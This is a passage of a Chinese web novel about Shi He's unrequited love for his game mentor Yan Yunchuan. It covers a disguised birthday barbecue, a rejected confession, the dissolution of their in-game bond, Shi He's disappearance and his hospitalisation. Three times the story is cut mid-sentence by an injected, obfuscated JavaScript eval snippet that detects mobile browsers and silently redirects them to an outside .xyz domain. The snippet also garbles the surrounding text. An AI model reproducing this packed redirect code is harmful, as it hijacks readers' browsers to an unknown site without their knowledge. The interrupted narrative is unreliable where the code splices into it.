单身退回了微信转账,又发来三张宴云川的照片,语音说着:“哥答应给你百来张写真,收钱算哪门子事儿?放心啊见儿,哥就算偷拍也给你拍上!” 语音末尾,时和听见一声很浅的:“收费。” 他又把这三张图存了下来,拼在了一块。 接下来两天,单身隔上一阵就给他发宴云川的照片。有站在收银台前的,有弯腰给客人处理问题的,有倚在擂台边儿上噙着笑看比赛的。 跟林朔野搭肩的、跟沈停并行的、跟翁家阳和俞秋交代工作的、还有跟柚子聊天的。 兜兜转转,他又获得了一个“实时论坛”。 可这个论坛太热闹了,每张照片都笑着闹着,随便点开都能听见声音,衬的房间格外冷清。 如果不生病就好了,时和突然想。不生病,他就可以去网吧,可以跟宴云川他们一块,可以陪着宴云川看比赛,听宴云川说话,帮宴云川的忙。 细数下去,他发现自己想要的越来越多。 明明一开始,他只要宴云川跟他保持师徒关系就好,后来,他又想要宴云川成为他的朋友。渐渐的,微信聊天开始得不到满足,游戏关系也想牢牢抓着。而现在……他想跟宴云川在一起。 每一天,每一天都在一起。 如果不生病就好了…… 时和躺在床上,任凭头顶白炽灯毫无保留的打进自己眼睛里,打到眼眶发红,生理性眼泪顺着眼尾落入耳蜗里,他才伸手挡了挡。 视线陷入一片漆黑,挂钟的声音变得愈发清晰。他数着秒针嘀嗒声,数了一圈又一圈,数到忘了时间,倏地被微信铃声打断。 时和他点开微信,看见是宴云川,所 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15938822|171156||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有的负面情绪一扫而空。他赶忙坐直,毫无意义地整理了一下衣服,又咳了两道,确定声音没有异常才接起语音:“喂,宴云川。” 电话那头声音顿了顿,问:“感冒了?” “……” 很明显吗?他明明测试了…… 总不能说自己矫情上了,时和咳一声:“可能空调太低。” 角落里,一台二十八度的空调冷漠的吹着。 电话那头传来单身的声音:“啊?见儿感冒了?那今晚烧烤他还能来吗?我还想见见呢!” 宴云川说:“估计不行,烧烤太热。” 时和在两人交谈里抓出“今晚”和“来”的关键词。今晚他们有饭局?那就可以见宴云川了? 在宴云川刚想开口之际,他抢先说道:“我没感冒!就喝水呛了一下。” 最后还强调了一遍:“真的。” ** 网吧包厢 宴云川最终说了单身和柚子明早飞机,今晚想约着吃一顿的计划。他问时和:“想来吗?” 时和矜持地思考了0.3秒,“嗯”了一下。 挂掉电话,宴云川就看见单身甩着一脸“这都什么人啊”的扭曲表情看着他。 “我脸上有花?”宴云川问。 “霸王花。”单身冷哼,“我说你可真行,”他目光在宴云川身上扫射了几遍,“如果不是被窝说漏嘴,你还打算金屋藏娇到什么时候?” 宴云川这会头疼了。 十五分钟前,单身和沈停几人在策划晚上的送别烧烤。不知道触发什么了关键词,单身突然感慨一句:“如果见儿在榕城,还能约出来一块聚聚。” 然后,沈停非常理所当然地接:“他在啊。”就有了现在的局面。 宴云川揉着眉心:“哪来的金屋?” 单身嚷着:“榕城啊!榕城可不就金屋吗!那么大!”大概是还没从“被骗”的悲伤中缓过神来,他语调都扬了不少,“你看啊,见儿在榕城,榕城等于金屋吧?而你,川云,你从头到尾都不告诉我们见儿在榕城,你藏他。这不就是金屋藏娇吗?” 柚子难得站在单身那边,说了声:“就是!” 最后还是沈停在边儿上打断了两人的控诉:“我说你们平时语音就不觉得哪里不对劲么?” 两人你看看我,我看看你,同时摇头。 平时时和来网吧,宴云川多少得去窜几趟包厢门,按理说,帮派YY或者频道语音或多或少能听见宴云川的声音。可问题在于,宴云川平日里和时和贴的太近了,以至于他们出现了音频盲点,默认这两人在同一个空间很正常,谁也没反应过来。 宴云川从两人的表情中意识到了这一点,嘴唇微微张了一下,又不自觉地去摸口袋。 这些小动作细节不落地进到林朔野眼睛里。 宴云川转头的时候,看见林朔野也一脸神秘莫名的表情看着他,那五官扭的,好像他身上有一本百科全书等挖似的。不过,对待林朔野他没对单身那么客气,直接一薯片丢过去给人砸清醒了。 到了下午,时和后知后觉发来消息。 [时和:家里有门禁。] 而且是六点的门禁。 宴云川找来单身两人问时间能不能提前。沈停听见,响指轻轻松松一打:“好办!看我的!” 58.Chapter·追人 沈停说的好办,就是编了一个故事。以至于晚上宴云川接到时和的时候,隔着几盏路灯就看见一道矜贵的身影。 身影穿着得体的西装裤和黑色衬衫,左右拿着两个礼物袋,不像去吃烧烤的,倒像是要参加什么重要的晚宴。 只一眼,宴云川就猜了个大概。毕竟相处得久,身边这几个什么尿性他也知道。这情况多半是沈停骗濯清今天他生日,时和当真了。 只是吃烧烤,穿这一身难免会引人注目。 大概太久没赴这样的约,心中所想与现实稍微脱了节,哪怕知道是去吃烧烤,也下意识按照“生日”的礼节做了搭配。 想到这一可能,宴云川眼神怔忡一闪,像被什么轻轻硌了一下。 他捏了捏眉心,先是给沈停发了一个你真行的表情包,又给林朔野发了句:找个包厢。 发完信息,宴云川走上前。 路灯下的人听见脚步提前转过身。两个人的神色皆是一顿,又一起朝对方走过去。 “生日快乐。”时和递了个礼袋过来。礼袋里装着一瓶红葡萄酒,还用丝绒带子打了个结。只是打结的人手生,左右两边的结圈大小不一。 宴云川顺着这个谎言接了礼袋:“谢谢。”他看着时和嘴角扬了扬,心道造了孽。 “这是我的那一份。”时和又递了一个礼袋。礼袋分量很轻,可宴云川还是通过那个木质礼盒看出来了,是一枚纪念币。 他又想到了时和说的:“因为这是我的。” 这时候揭穿沈停的谎言无异于让时和一整晚都陷入思维反刍的封闭里。他想了想,给林朔野发去信息:订个蛋糕,我记得街角的店支持加急单。 林朔野回了一串问号。 林朔野:哥,你今天怎么奇奇怪怪的? 宴云川说:提前过个生日。 林朔野:啊? 林朔野:呵呵.jpg 两条消息秒被撤回。 今晚的天空很暗。许是进了三伏天,天空像被浸在温热的墨里。宴云川走在前面,随口说着单身和柚子的情况,想消磨一下时和的紧张感。 “单身说话会比较急。嗯,比游戏里还要快一点儿,说上头了会敲桌,不是锤,会叩两下。” “柚子声音跟游戏里一样,身高也跟游戏里一样,但模样会更飒,一会见到你应该能认出来。” 他每说一句就回下头,每次回头都能看见时和跟在他伸手就能够到的地方,眼神透亮地望着他。 这么回了几次,宴云川忽然停下来问道:“怎么不走上来?” 时和很认真地说:“这样不热。” 说是不热,可毕竟三伏天,走到烧烤摊边,时和就被烤炉的热浪蒸出了一额头的汗。 七点的烧烤摊陆陆续续坐上了人,来往客人看见两人总是不经意地投过目光,扫到时和的时候,他们就会左杵右推的私语两句,还有人拿出手机,拍照意图明显。宴云川扫了两眼,手自然地搭在时和肩上,偏着头,借此挡了挡周围的视线。 两人进包厢的时候,宴云川的手还没从时和肩上放下去。单身正对门坐,抬眼就看见了这两位行走的聚光灯。聚光灯肩上的手白得太过显眼,他的视线先落在了手上,才落到时和帽檐下的半张脸上。然后,他夸张地“操”了一声,看向宴云川问:“你拐谁家人质了?” 一时间,包厢四双眼睛都看了过来。 下一秒,宴云川松了手。 时和稍稍松了一下肩,又有点意犹未尽地看了眼宴云川的手腕。 ** 做了一番介绍,几个人也算这么认识了。毕竟都是老游戏迷,这样面基也不是第一次。 等菜期间,单身两手一插,靠在椅子上,跟个逛窑子的风流汉一样咂摸感慨:“真是嫩啊。”给林朔抖了一层疙瘩。 “想去隔壁会所早说嘛!”林朔野开玩笑。 单身老神在在摇头:“你不懂,这是青春的气息。”又给林朔野抖了一层疙瘩。 见林朔野表情跟吃多了盐一样,单身拍着膝盖直乐。乐得差不多他又转头对柚子打趣说:“欸!下回咱帮收人得卡颜啊!不然配不上咱这一桌明星阵容!这怎么也得超一线吧!” 柚子回:“这不还有你拉垮平均值吗?” 林朔野和沈停给她点了个赞。 单身其实底子不错,只是比沈停糙起来还要“不修边幅”,主张野蛮生长,就显得低了那么一点。 几人聊得火热,一开始,时和坐在角落还能很专心的听着。包厢不大,圆桌虽说能容纳六个人,但还是略显拥挤。他手肘稍微动一下,就会碰到宴云川的衣摆。每碰一下,宴云川就下意识转过眼神。再后来他就有点故意的成分了。 碰了几次,时和发现宴云川一直在看着他,他这才闷着头老老实实把两只手叠在腿间。 宴云川看着时和泛红的耳垂和一幅准备开会的端坐模样,还是没忍住,无声地笑了一下。 “你俩干嘛呢?”单身忽然问。 宴云川瞬间收了笑,淡淡说:“等菜。” 单身:“等菜能等得你一脸荡漾?” “……” 宴云川眼皮一抬:“少玩点游戏。” 单身看向林朔野:“翻译一下,你哥啥意思?” 林朔野不知道在想什么,没缓过神。还是沈停说:“这是说你打游戏把眼睛打坏了的意思。”惹得单身“嘿”了一声。 有了这番插曲,直到上菜时和都很老实。不一会儿老板端着两大盘烤串走了进来。单身深受“酒桌文化”荼毒,有了肉就嚷着要上酒。 听见酒字,时和看了眼地上的葡萄酒。 宴云川瞥见,问他:“能喝吗?” 他点了点头。 宴云川这才把葡萄酒提溜上来:“先喝这个。” 单身看见打包得精致又拉垮的丝绒带,凑着身子问:“你俩刚才进门我就想问了,这两袋啥呢?” 宴云川说:“生日礼物。” 单身顿时兴奋起来了:“谁生日?怎么不提前通个信儿呢!哥好准备礼物啊!” 柚子问:“是大佬生日吗?” 宴云川招手问店员要了个启瓶器。店员一看就是见过大场面的,看见有人在烧烤摊喝葡萄酒一点惊讶都没有,面无表情地出门拿了个启瓶器进来。 他开着瓶,一脸平静地说:“我。”给单身这个知情人整的一脸茫然。 眼瞅着单身想说点什么,宴云川端着葡萄酒起身就给他满了半杯,说道:“礼物记得补上。” 单身更茫然了。他看看沈停,又看看林朔野,前一个心虚的躲开了他的视线,后一个又在发呆。 “卧槽?我记忆混乱了?”单身问。 柚子不疑有他:“你那鱼的记忆能指望什么,前天刚不还认错人秋儿和家阳么。” 她接过宴云川递来的葡萄酒,说了声谢谢,又说了声生日快乐,最后说:“礼物过两天寄过来!” 宴云川笑着说了声:“客气。” 濯清准备的是白葡萄酒,不需要醒,酒香四溢。宴云川轮着倒了一圈,倒到时和的时候沈停起身想阻止,许是看见场合不对,又坐了下去。 包厢就这么大,什么动作都一览无遗。 宴云川悬着酒瓶问时和:“以前喝过吗?” 时和点点头。 “几杯?”宴云川又问。 时和说:“三杯。” 他这才倒了半杯下去。 大概这样的氛围很难得,单身也不想纠结了,带头起身碰了个杯,包厢里响起异口同声地“生日快乐”,引来门外几桌好奇又羡慕的目光。 宴云川坐下,看着时和眼尾藏不住的愉悦,他嘴角勾了勾,抿了两口酒。 其实他的生日在四月份。没接手网吧前,他的生日还挺隆重,父母会提前准备一桌好菜,几家走的近的亲戚都会带着礼物和家里小孩上门。他是同辈里最大的一个,就带着一帮童子军窝在地上打PSP,打到被长辈警告,又带着他们躲房里打。 但这都是没接手网吧之前。 后来接了网吧,他就没过过生日了。这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15951727|171156||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两年的生日网吧都很忙,忙到后面,还是林朔野点了吃的提醒他,他才草草想起来。 两年了,今天阴差阳错的过了个热闹的生日。 宴云川挪着玻璃杯,往时和杯壁上碰了一下,轻轻说了句:“谢谢。” 时和疑惑地看着他,只看见他喉结滚动,玻璃杯在灯光下有点刺眼。 ** 葡萄酒的度数比啤酒高,虽然一瓶分下去没有多少,但足以活跃氛围。 单身拉着柚子大放厥词,下一回帮战要把对方按在家门口摩擦,柚子很配合地跟他摩拳擦掌。 聊着聊着,单身看向宴云川:“月下过两天回来你知道不?” 宴云川“嗯”道:“他跟我说了。” 单身点头:“也对,他回来肯定跟你说。” 话落,他又开始控诉起单身丢下帮派半年抛去德国进修的事:“德国那是人待的吗!我一朋友去的时候还150斤!卧槽,你们猜怎的?”他冷不防地叩了下桌面,“回来就98了!” 柚子就是留学生,深知留子苦,德国留子更是苦上苦。她在旁边笑道:“咱帮浅浮不是在德国嘛,她都一年没上了,要不是她偶尔在群里诈个尸,我都以为她A了呢!” 沈停和林朔野身边也有留学交换生,加上又是最好的学生时代,这样的话题他们接得津津有味。 宴云川看见时和安静的坐在一边,像是在听另一个世界的故事一样安静。直到他捞过三串烤香菇递过去,打破了这样的静谧。 时和抬头看着宴云川,宴云川已经转了回去。 烧烤桌上的话题来的快,换的也快。一串香菇的功夫,话题已经从留学生走到了视频大赛。提到视频大赛,时和眼神望向了柚子。 平时在游戏里,时和就不怎么说话,所以大家都习惯了他这样的沉默。可一个沉默的人突然主动投了眼神,那效果就不亚于往湖里投雷。 两秒不到的眼神被柚子成功捕捉。 柚子期待地问:“大佬!有什么高见?” 有些称呼在游戏里听着很自然,可拉出次元,就很中二了。时和不习惯这样的中二,可也不排斥。他拇指按着竹签,压下了想埋头躲起来的欲望。他一紧张,人就犯冷。 等他说出“NPC”三个字的时候,单身脱口来了句:“咋有点冷嗖嗖的?” 他险些自闭。 好在柚子听见“NPC”很惊讶,跟突然打通了任督二脉似的,拿出手机就开始录音。 ** 一顿饭吃了两个半小时,蛋糕上来,又闹了一波轰动。吃到后面濯清来了电话催时和回去,这顿饭才余兴未尽的结束。 电话是沈停代接的,脸不红心不跳的说时和上厕所去了,又竖了八个手指表示一定送时和安全到家才让濯清不太安心的挂断。 沈停把手机递给时和的时候交代了一句:“回去可别给我说漏嘴了!” 时和点了点头,但模样像是没听进去。 烧烤店离网吧不算远,离小区也不算远。榕城好像一直这样,哪儿都能去,去哪儿都挺近的。 因为喝了酒,宴云川跟时和走了回去。 时和依旧走在他的身后,不远不近,一抬手就能牵上。许是热风吹的酒劲上来了,宴云川鬼使神差地抬了抬手,抬到半路,一家药店的空调给他吹了个激灵。 他放下手,又伸进衣兜想掏火机。掏了个空,正想拿出来,时和说:“袋子里有。” “嗯?”宴云川回头。 “袋子里有。”时和又说一声,“火机。” 他打开礼物袋,发现木盒下面还有一个黑色的金属盒。金属盒里放着一枚新的粉色火机,跟他原来那个一模一样。 火机还没上油,却像点着了火。 宴云川神色复杂地看着时和。他走上前,时和后退了一步,他又走两步,时和接着往后退。 时和似乎爱上了走在他的身后。 直到宴云川问为什么躲。 时和倏地笑着说:“因为我在追你啊,所以你得走在前面。” 59.Chapter·解除 有些话就像陶土罐里的水,是不能开口的。一旦开了口,便成漏卮难满,终至空空如也。 比如,时和看着宴云川目光一瞬失了焦,又看着他像什么也没发生一样转身,往前走,拿起手机说道:“你喝醉了,我打个车。”就知道答案了。 空气突然安静下来,连蝉鸣都噤了声。三伏天的晚风吹散了时和脑海里仅剩不多的酒意。 意识到自己说了什么,时和慌乱走上前,脱口就想说:“我开玩笑的。” 可这句“玩笑话”就像卡了根鱼刺在喉咙一样,上上不去下下不来,咯得喉咙生疼。 他本来也没醉。他只是太久没体会热闹了,所以兴奋了点,有点忘乎所以。 看,忘乎所以是有代价的。 理智告诉他,他应该借着“醉酒”这个台阶走下去,今晚好好睡一觉,第二天醒来两人可能会尴尬,但是他可以用“师父”的称呼把关系拉回来,再拉开点距离,给宴云川造成他“喝醉了说胡话”的假象,一切就会慢慢恢复从前。 就像他对自己说的:如果追不到宴云川也没有关系,他们可以做朋友。 真到了这一天他才发现,他不甘心。 一想到宴云川未来会有喜欢的人,会对另一个人比对他更好,他就不甘心…… 有些窗户纸一旦捅破就修复不回去了。 因为不甘心,时和借着冲动走上去问:“宴云川,你在拒绝我吗?” 宴云川打车的动作顿下来,没说话。 “宴云川。”时和又喊了一声。 “……” “宴云川。” “……” “宴云川!”他跨步走到宴云川跟前,转身把人拦下来,“宴云川,你听见了。” 跟前的人终于抬头。时和听见宴云川很轻地叹了一下,说:“时和,喝醉不好吗?” 如果说第一次的喝醉是隐晦的回避,现在这句话就是明确的在说:“对,我在拒绝你。” 空气忽然凝固,两人隔着一臂的距离互相看着对方,一个恍然,一个说不上是压抑还是无奈。 “时——” 宴云川刚想开口打破这样的沉寂,时和突然问:“为什么?”他又不知道该说什么了。 其实想要纠正时和很简单,说自己不喜欢男生,或者不喜欢他,所有的问题都能迎刃而解。 可话到嘴边,宴云川却怎么都说不出口。好像这句话一旦说出来,就再也没了退路一样。 可是没退路不是更好吗? 宴云川晃了下神。时和又问:“为什么?”目光火热。 他嘴唇开开合合,像是在思考最优解一样。在时和眼神不断逼问下才问:“谈过恋爱么?” 话音刚落,时和反驳:“这不冲突!” “我知道你想说什么!你想说我没谈过恋爱,所以分不清什么是喜欢!”时和像是站在讲台上辩论一样,调动了所有的理论知识急于证明自己说的是对的,语速越说越快,“宴云川,每一场初恋都是第一次,不是吗……” “没有谈过恋爱的人也知道什么是喜欢……” 时和向来是克制的,宴云川意识到时和为数不多的冲动都是因为他,一时又晃了神。 这番质问的声音其实不大,却还是引起了路边两辆电车的注意。电车背对着时和行驶过来,坐在后座的人好奇往路边看。 宴云川瞥见,说道:“太晚了,先回去吧。” 时和没挪步,只是眼睛垂了下去。 “为什么……”他又问道。 然后,他听见宴云川反问他:“那……时和,什么是喜欢?“所有的为什么在这一刻都噤了声。 “喜欢”这个名词其实很简单,可时和发现自己竟然解释不上来。 他甚至说不清自己为什么会违背男生喜欢女生这样的社会规则喜欢上了宴云川。他只知道,有了宴云川,他突然害怕孤独了。非常,非常害怕。 路边又走来两个散步的情侣,女生看见两人僵持不下,急忙摇着男朋友,表情处在兴奋和好奇之间。而男生看了一眼就厌恶的撇过了头,对上女生的眼神又举手投降,在女生耳畔亲了一下。 按理说老街道的昏黄路灯半米之内就人畜不分了,这样的生动的表情和互动很难被捕捉到才对。可宴云川就是看见了,就像在提醒他什么一样。 见时和不说话,他反而平静了下来。 “打车回去吧。”宴云川说。 “……” 他拿着手机重新点开打车软件,正找着附近的路标输入地址,时和像得不到答案的学生一样又问了一遍:“为什么……”这次的问题后面加了附加条件,“为什么对我这么好?” 宴云川说了那个回答无数次的答案:“因为我是你师父,你是我徒弟。” 答案说出口,时和抬头:“如果——”他刚开口,手机铃声倏地响了起来。 来电显示濯清,宴云川本想往旁边走了两步,给时和接电话的空间。步子还没迈开,就听见时和问:“如果不是师徒了呢?” 手机铃声一遍又一遍不厌其烦的响着,就像时和一遍又一遍追问的“为什么”。 直到时和接通电话,又结束电话,宴云川都没组建好语言回答这个问题。 或者说,他从没想过。他给出醉酒的台阶也好,一直转移焦点也好,都是为了过了这个晚上,两个人能回到正常的师徒关系。 他本想问时和:“有没有想过,你对我的情感只是依赖?” 这一刻竟然分不清是谁在依赖谁。 到最后,他只是说:“时和,我会一直照顾你,做为师父照顾你。” 因为濯清催得紧,两人还是打了车。夜晚道路空旷,半小时的路程一下压缩到了五分钟。 下了车,宴云川本想直接让司机离开。开门之际,时和很小声地又问了一遍:“那如果没有师徒关系了呢,没有师徒关系,你还会照顾我吗?”就像溺水的人拉住一根绳,拼命往上扯一样。 驾驶位的司机听不懂二十一世纪为什么会有师徒这种称谓,也看不懂当下年轻人时髦的关系。他只是回头问:“还开吗?” 司机回头的时候,宴云川看见驾驶位的仪表盘旁边摆着一个参佛的孙悟空摆件。 他看着这个摆件瞳孔骤然收缩,像看见了什么恐怖画面一样。司机问了好几遍还开吗,他才惊慌回神,情绪淡淡的说道:“开。” 说完又对时和说:“不会。” ** 当晚零点一过,单身和柚子正准 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15971937|171156||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 备从网吧回去就收到了帮派一堆夜猫子的私信:卧槽!什么情况?见爹和川老板闹掰了? 两人匆忙扫了台机子上游戏,点开宴云川江湖关系界面,便看见一个解除师徒的倒计时。 宴云川下了车没直接回网吧,而是在江边吹了一会风。好不容易吹冷静了一点,他前脚刚到,单身后脚问他:“你跟见儿玩什么呢?见儿这是醉成什么样能给你把师徒解了?”那点冷静只剩下了冷。 有什么好惊讶的呢,宴云川心说。人是他自己惹毛的,是他自己要拒绝的。可不拒绝又能怎么样,抛开他自己的因素不谈,路人的目光,濯清的电话,每一项都在告诉他:要离时和远一点。 况且,怎么可能抛开他自己的因素不谈。 “喂?喂!”单身在电话里大声嚷着,旁边还有柚子的声音。 宴云川握着门把手冷静了一会,推开门:“听着了,我马上进网吧了。” 许是听见人回来了,单身也没那么火急火燎了,甚至还带上了揶揄的语气:“话说见儿不是说能喝三杯吗?怎么半杯就开始神志不清了?” 柚子在一旁解答:“有些人太久不接触酒精,突然喝酒就会不耐受,大佬估计是这类。” 单身跟恍然大悟似的“哦”了一声,又对宴云川说:“下回还是给你徒弟上果汁比较稳妥。” 宴云川心想:应该没有下回了。 走进收银台,俞秋正在和沈停做交接。宴云川问单身在哪个包就挂了电话。 进了包厢,单身跟歌手评委似的把椅子转了一百八十度,又开始看热闹地起哄宴云川:“你这不赶紧打个电话给你徒弟让他取消一下啊?嘶,虽然倒计时有三天吧,可万一你俩明天忘了呢?” 然后,就听见宴云川说:“不取消了。” 包厢瞬间跟死了一样安静。 两分钟后,半个网吧的客人都听见了包厢里面震耳欲聋的“卧槽”,以一种常人不可能达到的分贝吼了出来。 柚子顾不上捂耳朵,她愣愣地问宴云川:“为什么啊?” 宴云川随口说:“出师了。” 其实早就出师了。 包厢又陷入沉寂,单身似乎不知道用什么语言表达这一刻的心情,只是一味的“卧槽”,或者“搞什么呢”。柚子跟追星塌房似的,一脸恍惚。只有角落里的林朔野,全程皱着眉头看宴云川,遮在阴影下的眼睛有化不开的愧疚和纠结。 直到单身啪一下拍着桌子上前:“你俩搞什么呢搁着?哦!半小时前还在烧烤摊你侬我侬的,半小时后就开始老死不相往来了?打赌赌输了还是真心话大冒险玩输了?” 林朔野才起身把人往包厢外推:“你刚不是还说要回去睡觉明天要赶飞机吗?小心早上起不来!” 包厢门推开又关上,单身的“为什么”还在狭小的空间回荡着,柚子也在用眼神无声的询问。 全世界都在问他为什么。 宴云川登上幻世录,时和已经下线了,邮箱里只有一封系统邮件,提醒他师徒相伴不易,江湖路远,不妨再静心思量。 他刚刚离开前说了什么来着…… 好像是“不会”。 埋了多天的地雷被匆忙引爆,热烈,突然,结局在意料之中。唯独没有如释重负。 60.Chapter·替身 这一晚,宴云川也不知道自己是怎么过的。他不敢闭眼,因为一旦闭眼,就会有一辆银灰色的车在他眼前撞的四分五裂。驾驶座的人鲜血淋漓地爬出来,半张脸浸在血里,一下是凌岳,一下是参佛的猴子,最后变成时和。 再然后,时和又变成了游戏里的模样,在朱雀大街与他擦肩而过,越走越远。 游戏的消息传的很快,天蒙蒙亮,就有人进来问他和时和的事。被问了两遍,宴云川便趁着人还不多离开了网吧。 走出网吧,他哪儿也没去,漫无目的的在街上游荡。直到荡出日常活动范围,铃声响了起来。 来电是一个苍城属地的号码,宴云川接起,刚喂一声,濯清的声音着急又慌乱地传过来:“小川!小和在你这儿么?” 马路绿灯亮了,宴云川却站在原地没动。 “时和?”他蹙眉确认。 如若以往,濯清听见这反应都该知道时和没跟宴云川在一块儿。今天大概是急坏了脑子,非但没听出来,还重复了一遍:“对!小和!” 濯清说话不带停:“阿姨做好早餐叫他他不应!手机手表也在房间里!监控看见他半夜出的门就没回来!我早该发现不对的……他昨晚接电话语气就不对!我那会急着开会也没追问!都是我的错……他肯定是出事儿了!”到后面,她甚至带上了哽咽,“小川……我找不到小和了……小和在你那儿么?” 路灯绿了又红,宴云川倏地转身,险些与迎面来的电动车撞上。 他脚步匆匆地跑到路边,给手机开了扩音,又点开微信扫了一辆共享,车把一扭到底冲了出去。 “伯母,您先别慌,”宴云川一手控车一手举着手机,“我应该知道时和在哪,大概十五分钟,找到人我给您电话,可以吗?” “你知道小和在哪!” “知道。” 在江边。 ** 至少到榕江边之前,宴云川都以为时和会在江边。他带时和去的地方不多,除去网吧和电影院,只有江边,对于两个人都有一定意义。 再然后,这样的自信就被一阵猛烈的江风和江边仅站的一对情侣吹散了。 直到这一刻,他发现他并不了解时和。原来时和也有不顾一切冲动的时候,原来时和也会躲起来,原来两个人没了游戏,就真的再也没了关联。 江边约会的情侣看着宴云川一脸颓然和恐慌地站在路中间,男生提防地瞥了几眼,不知道代入了什么,着急忙慌地搂着女生离开了。 濯清的电话掐着14分钟59秒打了过来:“小川!找到小和了吗?” 宴云川不知道要怎么说才能让濯清别担心,只好说:“伯母,还有几个地方,我再去找找。” 电话那头的人瞬间带上了哭腔。 “小川,阿姨求你……” “伯母!” 宴云川打断了濯清的“恳求”,说道:“我会找到时和的,我向您保证。” 挂掉电话,宴云川踩上车,车头刚扭出去他就打电话给了沈停:“你知道——” 他本想问“你知道时和在榕城还有哪些地方去吗”,话刚开口,就看见正前方榕树下走出来一个人,穿着跟昨晚一样的衣服,头发微微凌乱。 “喂?怎么了学长?”沈停在电话那头问着。 宴云川像是刚从万米悬崖坠落终于落地一样,整个人都脱了力。电车轮胎一滑,他勉强用脚撑着才避免了滑倒,说道:“没事了。” 说着,他又交代:“帮忙打个电话给濯阿姨,就说时和找到了,人很好,晚点儿我送他回家。” 如果忽略时和泛红的眼角和被风吹得有些发紫的嘴唇,这句“人很好”也不算欺骗。 时和没想过宴云川回来。他躲在这儿只是不想迎面碰上那一对情侣,所以看见宴云川倚在车上喘息时,比起惊讶和欣喜,他更多的是想逃,本能的不想让宴云川看见这么狼狈的模样。 哪知他还没转身,肩膀就被攫住了。 “时和。”宴云川把人掰正过来,就看见时和满眼强忍的情绪,和深入眼底的“为什么”。 就好像在问:“为什么你要过来。” 攫在肩膀上的手倏地松开了。 两人像极了昨晚的模样,互相望着对方沉默。 直到宴云川说:“我送你回家。” 时和才像情绪被点燃了一样问:“不想知道我为什么过来吗?” 这会轮到宴云川沉默了。 江风一阵一阵往两人身上吹,吹得时和衬衫衣领鼓起了边。冷风从领口灌进去,又从袖口出来。 时和看着宴云川说:“你说过,有想不通的事多来几次,这里风大。” “宴云川,我想不通。” 想不通为什么会有人因为一个徒弟的名号费尽心思去照顾,想不通会有人把自己的秘密基地分享给一个徒弟,想不通会有人踩着共享着急忙慌的找了过来。 因为想不通,所以想让风来想。 解除师徒,除了怄气,他还想给自己一个答案。想知道没了这层师徒关系,宴云川对他还会不会那么好。之前那点“他也喜欢我”的信号,是不是师徒关系造成的错觉。 说白了,他想冷静一下。解师徒也好,丢下手机离家出走也好,哪怕濯清知道会发怒,他也想让自己冷静一下。 宴云川说的是对的,江风的确能吹散很多事。 他没谈过恋爱,身边也没什么情侣,他所有的爱情观都来源于文学作品,所以他自然而然的觉得他喜欢上一个人是一件非常正常的事。直到看见早上那对情侣他才意识到他一直以来忽略的事:他喜欢的人是一个男生。这样的喜欢有一个专门用来区分的特定的名词,叫同性恋。 宴云川不一定是同性恋。 所以,他想让自己冷静一下,让自己能抛开所谓的师徒关系,冷静下来再以朋友的身份去找宴云川。可是,宴云川,你为什么要过来呢。 你一过来,我所有的理智和判断就失效了。 “宴云川,真的是因为师徒吗?”时和问道。 也不知道是不是心理作用,宴云川总感觉江风吹得更烈了一些,冻得整个人都僵直。 他简短地“嗯”了一声。 时和马上说:“现在不是了。” 现在不是师徒了,他解了。 他也不知道为什么自己一看见宴云川就失控,总想一遍一遍确认心中的那个答案,想知 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也难怪宴云川会收他做徒弟。那些他自以为的“喜欢”,那些他想不通的,现在都有了解释。只是他阴差阳错沾了这个叫凌岳的光,成了替身而已。 濯清火急火燎飞回来,上楼推门,入眼就是一地气泡膜,有撕碎的有捏扁的,从飘窗一路飞到门边,装着气泡膜的盒子七零八落地散在屋中央。 床上的人蒙着被子,微微隆起一个包。 “宝贝!”她两步冲上前,想掀开时和的被单,被时和紧紧攥住。 只是生病的人没什么力气,哪怕攥的再紧,也不如濯清稍用力的一拉。 被单掀开,滚烫的温度直接扑到脸上。濯清探了一下时和额温,立马打电话安排上了医院。 宴云川是在心理医院住院部看见时和的。时和改了游戏昵称,退了帮派,游戏也没上过。他知道时和误会了,可是不知道从哪解释,好像以往那些道理突然对上自己就失去了作用一样。 他剖不开自己的过去,也不想让时和承担本来属于他的痛苦。所以他想寻求“外援”。 宴云川戴着口罩躲在楼道边,紧锁眉头看着濯清半揽着时和往前走,时和走的很迟缓,像是被操控行动的木偶。他步子跟着背影动了一下,踩到台阶,高度的落差又让他清醒过来。 他把步子缩回来,用力握着衣兜里的新火机,任由掌心传来钝痛也没收手。 他想起来了,原来这个背影他一早就见过。也是在这家医院,在活动室。那天有个小孩问他,火车离开轨道会怎么样。 原来火车离开轨道看不见蝴蝶,只会摔的遍体鳞伤。 